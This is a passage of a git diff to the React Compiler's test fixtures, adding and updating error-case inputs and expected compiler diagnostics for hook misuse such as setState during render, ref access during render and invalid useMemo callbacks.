+ * Note that this technically violates the rules of React and is unsafe:
+ * hooks must return immutable objects and be pure, and a function which
+ * captures and mutates a value when called is inherently not pure.
+ *
+ * However, in this case it is technically safe _if_ the mapping function
+ * is pure *and* the resulting objects are never modified. This is because
+ * the function only caches: the result of `returnedFunction(someInput)`
+ * strictly depends on `returnedFunction` and `someInput`, and cannot
+ * otherwise change over time.
+ */
+hook useMemoMap<TInput: interface {}, TOutput>(
+  map: TInput => TOutput
+): TInput => TOutput {
+  return useMemo(() => {
+    // The original issue is that `cache` was not memoized together with the returned
+    // function. This was because neither appears to ever be mutated — the function
+    // is known to mutate `cache` but the function isn't called.
+    //
+    // The fix is to detect cases like this — functions that are mutable but not called -
+    // and ensure that their mutable captures are aliased together into the same scope.
+    const cache = new WeakMap<TInput, TOutput>();
+    return input => {
+      let output = cache.get(input);
+      if (output == null) {
+        output = map(input);
+        cache.set(input, output);
+      }
+      return output;
+    };
+  }, [map]);
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot modify local variables after render completes
+
+This argument is a function which may reassign or mutate `cache` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.
+
+  19 |   map: TInput => TOutput
+  20 | ): TInput => TOutput {
+> 21 |   return useMemo(() => {
+     |          ^^^^^^^^^^^^^^^
+> 22 |     // The original issue is that `cache` was not memoized together with the returned
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 23 |     // function. This was because neither appears to ever be mutated — the function
+     …
+> 35 |       return output;
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 36 |     };
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 37 |   }, [map]);
+     | ^^^^^^^^^^^^ This function may (indirectly) reassign or modify `cache` after render
+  38 | }
+  39 |
+
+  31 |       if (output == null) {
+  32 |         output = map(input);
+> 33 |         cache.set(input, output);
+     |         ^^^^^ This modifies `cache`
+  34 |       }
+  35 |       return output;
+  36 |     };
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.js
new file mode 100644
index 000000000000..0fda92c726cb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-uncalled-function-capturing-mutable-values-memoizes-with-captures-values.js
@@ -0,0 +1,38 @@
+// @flow @enableNewMutationAliasingModel @enablePreserveExistingMemoizationGuarantees:false
+/**
+ * This hook returns a function that when called with an input object,
+ * will return the result of mapping that input with the supplied map
+ * function. Results are cached, so if the same input is passed again,
+ * the same output object will be returned.
+ *
+ * Note that this technically violates the rules of React and is unsafe:
+ * hooks must return immutable objects and be pure, and a function which
+ * captures and mutates a value when called is inherently not pure.
+ *
+ * However, in this case it is technically safe _if_ the mapping function
+ * is pure *and* the resulting objects are never modified. This is because
+ * the function only caches: the result of `returnedFunction(someInput)`
+ * strictly depends on `returnedFunction` and `someInput`, and cannot
+ * otherwise change over time.
+ */
+hook useMemoMap<TInput: interface {}, TOutput>(
+  map: TInput => TOutput
+): TInput => TOutput {
+  return useMemo(() => {
+    // The original issue is that `cache` was not memoized together with the returned
+    // function. This was because neither appears to ever be mutated — the function
+    // is known to mutate `cache` but the function isn't called.
+    //
+    // The fix is to detect cases like this — functions that are mutable but not called -
+    // and ensure that their mutable captures are aliased together into the same scope.
+    const cache = new WeakMap<TInput, TOutput>();
+    return input => {
+      let output = cache.get(input);
+      if (output == null) {
+        output = map(input);
+        cache.set(input, output);
+      }
+      return output;
+    };
+  }, [map]);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.expect.md
index ce61b15cf49f..a812cfac3ad6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-// Note: Everything below this is sketchy
+// Note: Everything below this is sketchy @validateExhaustiveMemoizationDependencies:false
 /* eslint-disable react-hooks/rules-of-hooks */
 function lowercasecomponent() {
-  "use forget";
+  'use forget';
   const x = [];
   return <div>{x}</div>;
 }
@@ -36,13 +36,18 @@ function CrimesAgainstReact() {
 ## Error
 
 ```
-  1 | // Note: Everything below this is sketchy
-> 2 | /* eslint-disable react-hooks/rules-of-hooks */
-    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable react-hooks/rules-of-hooks (2:2)
+Found 1 error:
+
+Error: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled
 
-InvalidReact: React Compiler has skipped optimizing this component because one or more React ESLint rules were disabled. React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. eslint-disable-next-line react-hooks/rules-of-hooks (25:25)
+React Compiler only works when your components follow all the rules of React, disabling them may result in unexpected or incorrect behavior. Found suppression `eslint-disable react-hooks/rules-of-hooks`.
+
+error.invalid-unclosed-eslint-suppression.ts:2:0
+  1 | // Note: Everything below this is sketchy @validateExhaustiveMemoizationDependencies:false
+> 2 | /* eslint-disable react-hooks/rules-of-hooks */
+    | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Found React rule suppression
   3 | function lowercasecomponent() {
-  4 |   "use forget";
+  4 |   'use forget';
   5 |   const x = [];
 ```
           
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.js
index a6dc3bf5fd64..d08f3f2f6f4a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unclosed-eslint-suppression.js
@@ -1,7 +1,7 @@
-// Note: Everything below this is sketchy
+// Note: Everything below this is sketchy @validateExhaustiveMemoizationDependencies:false
 /* eslint-disable react-hooks/rules-of-hooks */
 function lowercasecomponent() {
-  "use forget";
+  'use forget';
   const x = [];
   return <div>{x}</div>;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.expect.md
new file mode 100644
index 000000000000..cb520546bb7b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters
+function Component() {
+  const [state, setState] = useCustomState(0);
+  const aliased = setState;
+
+  setState(1);
+  aliased(2);
+
+  return state;
+}
+
+function useCustomState(init) {
+  return useState(init);
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-hook-return-in-render.ts:6:2
+  4 |   const aliased = setState;
+  5 |
+> 6 |   setState(1);
+    |   ^^^^^^^^ Found setState() in render
+  7 |   aliased(2);
+  8 |
+  9 |   return state;
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-hook-return-in-render.ts:7:2
+   5 |
+   6 |   setState(1);
+>  7 |   aliased(2);
+     |   ^^^^^^^ Found setState() in render
+   8 |
+   9 |   return state;
+  10 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.js
new file mode 100644
index 000000000000..ed9158ff0968
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-hook-return-in-render.js
@@ -0,0 +1,14 @@
+// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters
+function Component() {
+  const [state, setState] = useCustomState(0);
+  const aliased = setState;
+
+  setState(1);
+  aliased(2);
+
+  return state;
+}
+
+function useCustomState(init) {
+  return useState(init);
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-in-render.expect.md
index b2b25dbfa493..9155951daa50 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-in-render.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-in-render.expect.md
@@ -19,15 +19,37 @@ function Component(props) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-in-render.ts:6:2
   4 |   const aliased = setX;
   5 |
 > 6 |   setX(1);
-    |   ^^^^ InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (6:6)
-
-InvalidReact: This is an unconditional set state during render, which will trigger an infinite loop. (https://react.dev/reference/react/useState) (7:7)
+    |   ^^^^ Found setState() in render
   7 |   aliased(2);
   8 |
   9 |   return x;
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-in-render.ts:7:2
+   5 |
+   6 |   setX(1);
+>  7 |   aliased(2);
+     |   ^^^^^^^ Found setState() in render
+   8 |
+   9 |   return x;
+  10 | }
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.expect.md
new file mode 100644
index 000000000000..8c46cbaf0f16
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters
+function Component({setX}) {
+  const aliased = setX;
+
+  setX(1);
+  aliased(2);
+
+  return x;
+}
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-prop-in-render.ts:5:2
+  3 |   const aliased = setX;
+  4 |
+> 5 |   setX(1);
+    |   ^^^^ Found setState() in render
+  6 |   aliased(2);
+  7 |
+  8 |   return x;
+
+Error: Cannot call setState during render
+
+Calling setState during render may trigger an infinite loop.
+* To reset state when other state/props change, store the previous value in state and update conditionally: https://react.dev/reference/react/useState#storing-information-from-previous-renders
+* To derive data from other state/props, compute the derived data during render without using state.
+
+error.invalid-unconditional-set-state-prop-in-render.ts:6:2
+  4 |
+  5 |   setX(1);
+> 6 |   aliased(2);
+    |   ^^^^^^^ Found setState() in render
+  7 |
+  8 |   return x;
+  9 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.js
new file mode 100644
index 000000000000..1a14c33fe380
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-unconditional-set-state-prop-in-render.js
@@ -0,0 +1,9 @@
+// @validateNoSetStateInRender @enableTreatSetIdentifiersAsStateSetters
+function Component({setX}) {
+  const aliased = setX;
+
+  setX(1);
+  aliased(2);
+
+  return x;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.expect.md
index e4a97deafd33..53bf66b1ee5a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.expect.md
@@ -3,15 +3,15 @@
 
 ```javascript
 // @validateRefAccessDuringRender
-function Foo({ a }) {
+function Foo({a}) {
   const ref = useRef();
   // type information is lost here as we don't track types of fields
-  const val = { ref };
+  const val = {ref};
   // without type info, we don't know that val.ref.current is a ref value so we
   // *would* end up depending on val.ref.current
   // however, this is an instance of accessing a ref during render and is disallowed
   // under React's rules, so we reject this input
-  const x = { a, val: val.ref.current };
+  const x = {a, val: val.ref.current};
 
   return <VideoList videos={x} />;
 }
@@ -22,13 +22,32 @@ function Foo({ a }) {
 ## Error
 
 ```
-  3 |   const ref = useRef();
-  4 |   // type information is lost here as we don't track types of fields
-> 5 |   const val = { ref };
-    |                 ^^^ InvalidReact: Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef) (5:5)
-  6 |   // without type info, we don't know that val.ref.current is a ref value so we
-  7 |   // *would* end up depending on val.ref.current
-  8 |   // however, this is an instance of accessing a ref during render and is disallowed
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-use-ref-added-to-dep-without-type-info.ts:10:21
+   8 |   // however, this is an instance of accessing a ref during render and is disallowed
+   9 |   // under React's rules, so we reject this input
+> 10 |   const x = {a, val: val.ref.current};
+     |                      ^^^^^^^^^^^^^^^ Cannot access ref value during render
+  11 |
+  12 |   return <VideoList videos={x} />;
+  13 | }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.invalid-use-ref-added-to-dep-without-type-info.ts:12:28
+  10 |   const x = {a, val: val.ref.current};
+  11 |
+> 12 |   return <VideoList videos={x} />;
+     |                             ^ Cannot access ref value during render
+  13 | }
+  14 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.js
index c6c9228f9e82..a560fb123da3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-use-ref-added-to-dep-without-type-info.js
@@ -1,13 +1,13 @@
 // @validateRefAccessDuringRender
-function Foo({ a }) {
+function Foo({a}) {
   const ref = useRef();
   // type information is lost here as we don't track types of fields
-  const val = { ref };
+  const val = {ref};
   // without type info, we don't know that val.ref.current is a ref value so we
   // *would* end up depending on val.ref.current
   // however, this is an instance of accessing a ref during render and is disallowed
   // under React's rules, so we reject this input
-  const x = { a, val: val.ref.current };
+  const x = {a, val: val.ref.current};
 
   return <VideoList videos={x} />;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized-bc-range-overlaps-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized-bc-range-overlaps-hook.expect.md
deleted file mode 100644
index f3d121383432..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized-bc-range-overlaps-hook.expect.md
+++ /dev/null
@@ -1,39 +0,0 @@
-
-## Input
-
-```javascript
-// @validateMemoizedEffectDependencies
-function Component(props) {
-  // Items cannot be memoized bc its mutation spans a hook call
-  const items = [props.value];
-  const [state, _setState] = useState(null);
-  mutate(items);
-
-  // Items is no longer mutable here, but it hasn't been memoized
-  useEffect(() => {
-    console.log(items);
-  }, [items]);
-
-  return [items, state];
-}
-
-```
-
-
-## Error
-
-```
-   7 |
-   8 |   // Items is no longer mutable here, but it hasn't been memoized
->  9 |   useEffect(() => {
-     |   ^^^^^^^^^^^^^^^^^
-> 10 |     console.log(items);
-     | ^^^^^^^^^^^^^^^^^^^^^^^
-> 11 |   }, [items]);
-     | ^^^^^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the effect dependencies could not be memoized. Unmemoized effect dependencies can trigger an infinite loop or other unexpected behavior (9:11)
-  12 |
-  13 |   return [items, state];
-  14 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized-bc-range-overlaps-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized-bc-range-overlaps-hook.js
deleted file mode 100644
index 20a0d9b606f2..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized-bc-range-overlaps-hook.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// @validateMemoizedEffectDependencies
-function Component(props) {
-  // Items cannot be memoized bc its mutation spans a hook call
-  const items = [props.value];
-  const [state, _setState] = useState(null);
-  mutate(items);
-
-  // Items is no longer mutable here, but it hasn't been memoized
-  useEffect(() => {
-    console.log(items);
-  }, [items]);
-
-  return [items, state];
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized.expect.md
deleted file mode 100644
index 6ca2ee2d511c..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized.expect.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-## Input
-
-```javascript
-// @validateMemoizedEffectDependencies
-import { useEffect } from "react";
-
-function Component(props) {
-  const data = {};
-  useEffect(() => {
-    console.log(props.value);
-  }, [data]);
-  mutate(data);
-  return data;
-}
-
-```
-
-
-## Error
-
-```
-   4 | function Component(props) {
-   5 |   const data = {};
->  6 |   useEffect(() => {
-     |   ^^^^^^^^^^^^^^^^^
->  7 |     console.log(props.value);
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
->  8 |   }, [data]);
-     | ^^^^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the effect dependencies could not be memoized. Unmemoized effect dependencies can trigger an infinite loop or other unexpected behavior (6:8)
-   9 |   mutate(data);
-  10 |   return data;
-  11 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized.js
deleted file mode 100644
index a04b86f9aa9f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useEffect-dep-not-memoized.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @validateMemoizedEffectDependencies
-import { useEffect } from "react";
-
-function Component(props) {
-  const data = {};
-  useEffect(() => {
-    console.log(props.value);
-  }, [data]);
-  mutate(data);
-  return data;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useInsertionEffect-dep-not-memoized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useInsertionEffect-dep-not-memoized.expect.md
deleted file mode 100644
index d42659d02158..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useInsertionEffect-dep-not-memoized.expect.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-## Input
-
-```javascript
-// @validateMemoizedEffectDependencies
-import { useInsertionEffect } from "react";
-
-function Component(props) {
-  const data = {};
-  useInsertionEffect(() => {
-    console.log(props.value);
-  }, [data]);
-  mutate(data);
-  return data;
-}
-
-```
-
-
-## Error
-
-```
-   4 | function Component(props) {
-   5 |   const data = {};
->  6 |   useInsertionEffect(() => {
-     |   ^^^^^^^^^^^^^^^^^^^^^^^^^^
->  7 |     console.log(props.value);
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
->  8 |   }, [data]);
-     | ^^^^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the effect dependencies could not be memoized. Unmemoized effect dependencies can trigger an infinite loop or other unexpected behavior (6:8)
-   9 |   mutate(data);
-  10 |   return data;
-  11 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useInsertionEffect-dep-not-memoized.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useInsertionEffect-dep-not-memoized.js
deleted file mode 100644
index 6af60389eb56..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useInsertionEffect-dep-not-memoized.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @validateMemoizedEffectDependencies
-import { useInsertionEffect } from "react";
-
-function Component(props) {
-  const data = {};
-  useInsertionEffect(() => {
-    console.log(props.value);
-  }, [data]);
-  mutate(data);
-  return data;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useLayoutEffect-dep-not-memoized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useLayoutEffect-dep-not-memoized.expect.md
deleted file mode 100644
index 101da58338b7..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useLayoutEffect-dep-not-memoized.expect.md
+++ /dev/null
@@ -1,36 +0,0 @@
-
-## Input
-
-```javascript
-// @validateMemoizedEffectDependencies
-import { useLayoutEffect } from "react";
-
-function Component(props) {
-  const data = {};
-  useLayoutEffect(() => {
-    console.log(props.value);
-  }, [data]);
-  mutate(data);
-  return data;
-}
-
-```
-
-
-## Error
-
-```
-   4 | function Component(props) {
-   5 |   const data = {};
->  6 |   useLayoutEffect(() => {
-     |   ^^^^^^^^^^^^^^^^^^^^^^^
->  7 |     console.log(props.value);
-     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
->  8 |   }, [data]);
-     | ^^^^^^^^^^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the effect dependencies could not be memoized. Unmemoized effect dependencies can trigger an infinite loop or other unexpected behavior (6:8)
-   9 |   mutate(data);
-  10 |   return data;
-  11 | }
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useLayoutEffect-dep-not-memoized.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useLayoutEffect-dep-not-memoized.js
deleted file mode 100644
index 34a35a953c2d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useLayoutEffect-dep-not-memoized.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @validateMemoizedEffectDependencies
-import { useLayoutEffect } from "react";
-
-function Component(props) {
-  const data = {};
-  useLayoutEffect(() => {
-    console.log(props.value);
-  }, [data]);
-  mutate(data);
-  return data;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.expect.md
index 882a2d8e92b2..273da427a062 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-async-callback.expect.md
@@ -15,16 +15,38 @@ function component(a, b) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: useMemo() callbacks may not be async or generator functions
+
+useMemo() callbacks are called once and must synchronously return a value.
+
+error.invalid-useMemo-async-callback.ts:2:18
   1 | function component(a, b) {
 > 2 |   let x = useMemo(async () => {
     |                   ^^^^^^^^^^^^^
 > 3 |     await a;
     | ^^^^^^^^^^^^
 > 4 |   }, []);
-    | ^^^^ InvalidReact: useMemo callbacks may not be async or generator functions (2:4)
+    | ^^^^ Async and generator functions are not supported
   5 |   return x;
   6 | }
   7 |
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-useMemo-async-callback.ts:3:10
+  1 | function component(a, b) {
+  2 |   let x = useMemo(async () => {
+> 3 |     await a;
+    |           ^ Missing dependency `a`
+  4 |   }, []);
+  5 |   return x;
+  6 | }
+
+Inferred dependencies: `[a]`
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.expect.md
index 5dade768772a..ecde7590abe9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.expect.md
@@ -3,7 +3,7 @@
 
 ```javascript
 function component(a, b) {
-  let x = useMemo((c) => a, []);
+  let x = useMemo(c => a, []);
   return x;
 }
 
@@ -13,12 +13,33 @@ function component(a, b) {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: useMemo() callbacks may not accept parameters
+
+useMemo() callbacks are called by React to cache calculations across re-renders. They should not take parameters. Instead, directly reference the props, state, or local variables needed for the computation.
+
+error.invalid-useMemo-callback-args.ts:2:18
   1 | function component(a, b) {
-> 2 |   let x = useMemo((c) => a, []);
-    |                   ^^^^^^^^ InvalidReact: useMemo callbacks may not accept any arguments (2:2)
+> 2 |   let x = useMemo(c => a, []);
+    |                   ^ Callbacks with parameters are not supported
   3 |   return x;
   4 | }
   5 |
+
+Error: Found missing memoization dependencies
+
+Missing dependencies can cause a value to update less often than it should, resulting in stale UI.
+
+error.invalid-useMemo-callback-args.ts:2:23
+  1 | function component(a, b) {
+> 2 |   let x = useMemo(c => a, []);
+    |                        ^ Missing dependency `a`
+  3 |   return x;
+  4 | }
+  5 |
+
+Inferred dependencies: `[a]`
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.js
index ae3c3379e15f..4b9293a3c32f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.invalid-useMemo-callback-args.js
@@ -1,4 +1,4 @@
 function component(a, b) {
-  let x = useMemo((c) => a, []);
+  let x = useMemo(c => a, []);
   return x;
 }
